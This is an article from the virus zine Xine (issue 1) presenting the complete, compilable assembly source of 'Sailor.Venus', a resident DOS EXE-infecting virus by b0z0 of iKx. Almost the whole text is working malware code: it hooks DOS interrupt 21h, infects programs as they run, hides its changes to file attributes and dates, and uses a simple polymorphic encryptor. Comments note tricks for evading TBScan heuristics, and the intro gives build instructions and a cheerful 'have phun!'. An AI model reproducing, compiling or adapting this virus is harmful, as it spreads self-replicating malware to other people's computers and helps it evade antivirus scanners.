
                                        /-----------------------------\
                                        | Xine - issue #1 - Phile 020 |
                                        \-----------------------------/

;
;
;                              ...once again...
;                          b0z0 of the iKx presents
;                                Sailor.Venus
;
;  Here is the second member of my Pretty Sailors family. It's a simple EXE
; infector that infect on execute (4bh). Of course it will preserve attributes,
; time and date of creation. The virus will fill the last page with shit stuff
; and will place itself on a new one. The virus has a small polymorphic crap.
; The size of the decriptor is fixed (0fh bytes). The encryption/decryption
; routine use the ADD/SUB/XOR operations on bytes or words (randomly selected)
; with a random value. When operating on a byte/word the used register is DI
; or SI. All the code isn't everytime encrypted, infact the mutation routine
; can generate decryptors that encrypt every second (or third) byte when
; encrypting bytes and can generate decryptors that encrypt a word and leave
; clear a byte when encrypting words.
;  This is my first attempt to create a small quite polymorphic engine, and
; i promise that the next time it will be smaller, not as scannable as this,
; and also a little more poly. :)
;
; have phun!
;
; To compile:
;   TASM /M2 VENUS.ASM
;   TLINK VENUS

.model tiny
.code
        assume  cs:@code
org 0h

entry_point:
start_code:
;;       this code will be overwritten by the decryptor - FG use only ;;

tempzone  db      0dh dup (90h)

        push    cs
        pop     ds
;;                  here finish the overwritten code                  ;;
        call    install_in_memory       ;let's go

        push    es
        pop     ds

        mov     ax,es                   ;vic_cs points on old proggy
        add     ax,10h
        add     cs:[vic_cs],ax

        cli                             ;restore old ss:sp
        mov     sp,word ptr cs:[vic_sp]
        add     ax,word ptr cs:[vic_ss]
        mov     ss,ax
        sti

        sub     ax,ax                   ;put zeros in regs
        sub     dx,dx
        xor     bx,bx
        sub     cx,cx
        xor     di,di
        sub     si,si

        db      0eah    ; jmp far to the old program
vic_ip  dw      00000h
vic_cs  dw      0fff0h  ; for the first gen go to PSP:00h -> int 20h
vic_sp  dw      ?
vic_ss  dw      ?

install_in_memory:
                push    es
                push    cs
                pop     ds
                mov     ax,6b2dh                ; check if we are resident
                int     21h
                cmp     ah,al
                je      go_away

                push    es
                mov     ax,3521h                ; get int 21 adress
                int     21h
                mov     word ptr [old_int21_off],bx  ;store int21 offset
                mov     word ptr [old_int21_seg],es  ; and segment
                pop     es

                mov     ax,es               ; es=psp
                dec     ax                  ; psp-1=mcb
                mov     ds,ax               ; DS = segment of programs mcb
                sub     si,si
l4mcb:                                      ; look for last mcb in chain
                cmp     byte ptr [si],'Z'   ; is the last?
                je      last
                inc     ax
                add     ax,word ptr [si+03h]  ; nope, search for last
                mov     ds,ax
                jmp     l4mcb

last:
                sub     word ptr [si+03h],code_size_para  ; = mcb+03h
                add     ax,word ptr [si+03h]
                sub     word ptr [si+12h],code_size_para  ; = psp+02h
                inc     ax                  ; AX first usable segment

                cld
                sub     di,di               ; di=0
                push    cs
                pop     ds                  ; ds points on code
                mov     cx,(code_size+1)/2
                mov     es,ax               ; es points on our usable segment
                lea     si,start_code       ; si points on our code
                rep     movsw               ; move virus
                push    es

                mov     ax,2621h        ; install our interrupt handler
                dec     ah
                pop     ds              ; get mem segment where we are located
                mov     dx,[offset int21_handler]
                int     21h
go_away:
                pop     es
                ret
int21_handler:
                cmp     ax,6b2dh        ; internal admin stuff :)
                jne     no_check
                sub     ah,3eh
                iret
no_check:
                push    bx
                mov     bx,4b00h
                cmp     ax,bx          ; execute
                pop     bx
                je      exec

                jmp cs:old_int21
int24_handler:
                mov     al,03h
                iret
old_int21 label dword
old_int21_off      dw   ?                       ;original int21 offset
old_int21_seg      dw   ?                       ;original int21 segment
ourname         db      0,'Sailor.Venus',0
author          db      '-b0z0/iKx-',0

exec:
                push    si
                push    di
                push    ax
                push    bx
                push    cx
                push    dx
                push    ds
                push    es
                push    bp

                push    ds
		push    dx 
                mov     ax,3524h          ;get int24h seg and off
		int     21h
                mov     word ptr cs:[old_int24_off],bx  ;store them
                mov     word ptr cs:[old_int24_seg],es

                lea     dx,int24_handler  ;set our int24h handler
                mov     ax,2524h
		int     21h
                pop     dx
                pop     ds

                mov     ax,4300h        ;get file attributes
                int     21h

                push    ds              ;save ASCIIZ string with file name
                push    dx
                push    cx              ;save attributes
                xor     cx,cx           ;delete attributes
                call    set_attr

                mov     ax,3d02h        ;open for r/w
                int     21h
                jnc     infectit
                jmp     exit_infect
infectit:
                mov     bx,ax           ;bx file handle
                push    cs
                pop     ds

                mov     ax,5700h        ;get time/date
                int     21h
                push    dx              ;store them
                push    cx

                mov     ah,3fh          ;read da head
                mov     cx,1ch
                lea     dx,exehead
                mov     si,dx
                int     21h

                cmp     byte ptr [si],'M'         ;is exe?
                je      is_exe
nopein:
                jmp     not_exe
is_exe:
                cmp     byte ptr [si+01h],'Z'      ;is exe?
                jne     nopein
                cmp     byte ptr [si+18h],'@'      ;winexes?
                je      nopein
                cmp     word ptr [si+12h],'VS'     ;sailorvenus marker?
                je      nopein
                cmp     word ptr [si+1ah],00h      ;internal ovl?
                jne     nopein
                mov     cx,word ptr [si+02h]
                mov     ax,512
                sub     ax,cx
                push    ax

                mov     al,02h          ;go to the end of the file
                call    movefile
                call    normal          ;check if _really_ no overlays
                pop     cx
                cmp     dx,word ptr [lendx]  ;compare lseek length with
                ja      nopein               ;length of image that will
                cmp     ax,word ptr [lenax]  ;be loaded by the loader
                ja      nopein

                add     ax,cx                   ;add our alignment bytes
                adc     dx,00h
                push    ax
                push    dx

                mov     ah,40h                  ;write some shit to align
                mov     dx,0f00h                ;from ds:0f00 :)
                int     21h
                mov     word ptr [si+02h],00h

                mov     cx,word ptr [si+14h] ;store old IP
                mov     vic_ip,cx
                mov     cx,word ptr [si+16h] ;store old CS
                mov     vic_cs,cx
                mov     cx,word ptr [si+10h] ;store old SP
                mov     vic_sp,cx
                mov     cx,word ptr [si+0eh] ;store old SS
                mov     vic_ss,cx

                pop     dx
                pop     ax
                push    ax
                push    dx

                mov     cx,10h
                div     cx

                sub     ax,word ptr [si+8h]

                mov     word ptr [si+16h],ax    ;new CS
                mov     word ptr [si+14h],dx    ;new IP (will be zero)

                add     dx,offset ourstack      ;SP after us

                mov     word ptr [si+0eh],ax    ;new SS
                mov     word ptr [si+10h],dx    ;new SP

                pop     dx                      ;length
                pop     ax

                add     ax,code_size
                adc     dx,00h
                mov     cx,512
                div     cx
                inc     ax
                mov     word ptr [si+04h],ax       ;new nr of pages
                mov     word ptr [si+02h],dx       ;new image mod 512
                mov     word ptr [si+12h],'VS'     ;marker

                push    ds
                push    si
                mov     ax,08d00h       ;some free (? :) ) mem
                mov     es,ax
                sub     di,di
                mov     si,di
                mov     cx,code_size
                push    cx
                rep     movsb           ;copy virus in a piece of mem

                call    muta            ;mutate a little our code

                mov     ah,40h          ;write virus at end
                pop     cx
                sub     dx,dx
                int     21h
                pop     si
                pop     ds

                mov     al,00h          ;move at begin
                call    movefile

                mov     ah,3fh          ;write new exe header
                inc     ah
                mov     cx,1ch
                mov     dx,si
                int     21h
not_exe:
                pop     cx              ;old date/time
                pop     dx
                mov     ax,5601h        ;restore old date time
                inc     ah              ;don't warn tbscan heuristic
                int     21h

                mov     ah,3eh          ;close file
                int     21h
exit_infect:
                pop     cx
                pop     dx
                pop     ds
                call    set_attr

                mov     ax,2524h
                mov     dx,cs:[old_int24_off]
                mov     ds,cs:[old_int24_seg]
                int     21h                     ; restore int24h

                pop     bp
                pop     es
                pop     ds
                pop     dx
                pop     cx
                pop     bx
                pop     ax
                pop     di
                pop     si
                jmp  cs:old_int21
normal:
                push    ax              ;calculate lenght of loaded
                push    dx              ;image from header
                mov     cx,word ptr [si+04h]
                mov     ax,512
                mul     cx
                add     ax,word ptr [si+02h]
                adc     dx,00h
                mov     word ptr [lenax],ax
                mov     word ptr [lendx],dx
                pop     dx
                pop     ax
                ret
movefile:                               ;move through the file
                mov     ah,42h
                cwd                     ;cx=dx=00h
                sub     cx,cx
                int     21h
                ret
set_attr:                                   ;set attributes to CX
                mov     ax,4201h            ;set attributes
                inc     ah                  ;g'bye tbscan F flag
                int     21h
                ret
muta:
;       input es:00h
;
;       the mutation routine will be something like:
;
;       mov     di/si,length_decryptor
;       mov     cx,length_encrypted_code
;dec:
;       add/sub/xor     byte/word ptr cs:[di/si],_immediate_
;       inc     (di/si)/nop     (always inc when working with words)
;       inc     (di/si)/nop
;       inc     di/si
;       loop    dec
;
        push    bx
        lea     si,enc_value            ;si on encryption value
        mov     bx,9047h                ;bh=NOP bl=INC [DI]
                                        ;just a little optimized ;)

        in      al,40h                   ;rnd value
        mov     byte ptr [si],al         ;encryption value

        mov     dl,046h
        mov     byte ptr [si-3],2eh      ;write the CS:

        mov     cx,offset enctable              ;select the enc method
        mov     di,[si+02fh]                    ;si+2fh --> encselected
        push    di
        add     di,cx
        mov     ch,[di]
        mov     byte ptr [si-1],ch

        pop     cx
        shr     cx,1
        jnc     isadi
        mov     byte ptr [si-9],0beh           ;on decryptor
        mov     byte ptr [si+3],dl             ;SI used
        cmp     byte ptr [si+1],bh
        je      nosecondinc
        mov     byte ptr [si+1],dl

nosecondinc:
        cmp     byte ptr [si+2],bl
        jne     finchanges
        mov     byte ptr [si+2],dl
        jmp     finchanges

isadi:
        mov     byte ptr [si-9],0bfh           ;the selected instruction
        mov     byte ptr [si+3],bl             ;need DI operands
        cmp     byte ptr [si+1],bh
        je      notwoincs
        mov     byte ptr [si+1],bl

notwoincs:
        cmp     byte ptr [si+2],dl
        jne     finchanges
        mov     byte ptr [si+2],bl

finchanges:

        push    si
        mov     cx,length_dec
        sub     di,di
        sub     si,09h                          ;si on decryptor
        rep     movsb                           ;copy the decryptor
        pop     si
        push    di

        mov     byte ptr [si-3],bh              ;no CS: in the encryptor
        mov     di,offset dectable              ;select the right encryptor
        mov     cx,[si+02fh]
        sub     di,cx
        mov     ch,[di]
        mov     byte ptr [si-1],ch
        dec     word ptr [si+02fh]              ;rotate trought the pox enc.
        jnz     notcicle
        mov     word ptr [si+02fh],07h

notcicle:
        pop     di
        push    es
        pop     ds                           ;ds on code to be encrypted
        push    si
        push    di                           ;di=si, so any encryption will
        pop     si                           ;work correctly
        jmp     encryptor

decryptor:
        mov     di,length_dec

encryptor:
        mov     cx,code_size-length_dec

the_loop:
                db      2eh             ;CS:

our_loop:
                db      80h,2dh          ;the encrtption method
enc_value       db      00h              ;,immediate8
        nop                              ;which bytes will we enc/decrypt
        nop
        inc      di
        loop     the_loop

decryptor_end:
        pop     si
        push    ds
        push    cs
        pop     ds

        shr     al,1                    ;select if the next will encrypt
        jc      tobyte                  ;word or bytes

toword:
       mov      byte ptr [si-2],83h      ;to word
       mov      byte ptr [si+2],bh
       mov      byte ptr [si+1],bl       ;must be two incs
       shr      al,1
       jc       dontdo
       mov      byte ptr [si+2],bl       ;or three

dontdo:
       jmp      letsgo

tobyte:
       mov      byte ptr [si-2],80h      ;to byte
       shr      al,1                      ;select if encrypt any byte or
       jnc      letsgo                   ;only every two
       mov      byte ptr [si+1],bh

letsgo:
       pop      ds
       pop      bx
       ret

encselected     dw      07h
enctable:                                ;poxible enc/dec operations
        db      90h
        db      04h     ;ADD [si]
        db      05h     ;ADD [di]
        db      34h     ;XOR [si]
        db      35h     ;XOR [di]
        db      34h     ;XOR [si]
        db      2dh     ;SUB [di]
        db      2ch     ;SUB [si]
dectable:
end_code:               ;anthing after this line wouldn't be in the file

old_int24_off      dw   ?                       ;original int24 offset
old_int24_seg      dw   ?                       ;original int24 segment

lenax           dw      ?
lendx           dw      ?
exehead         db      1dh dup(?)

length_dec=decryptor_end-decryptor

code_size=end_code-start_code
code_size_para=((code_size+0fh)/10h)+2


lenghtstack  db      256  dup (?)
ourstack:


end entry_point
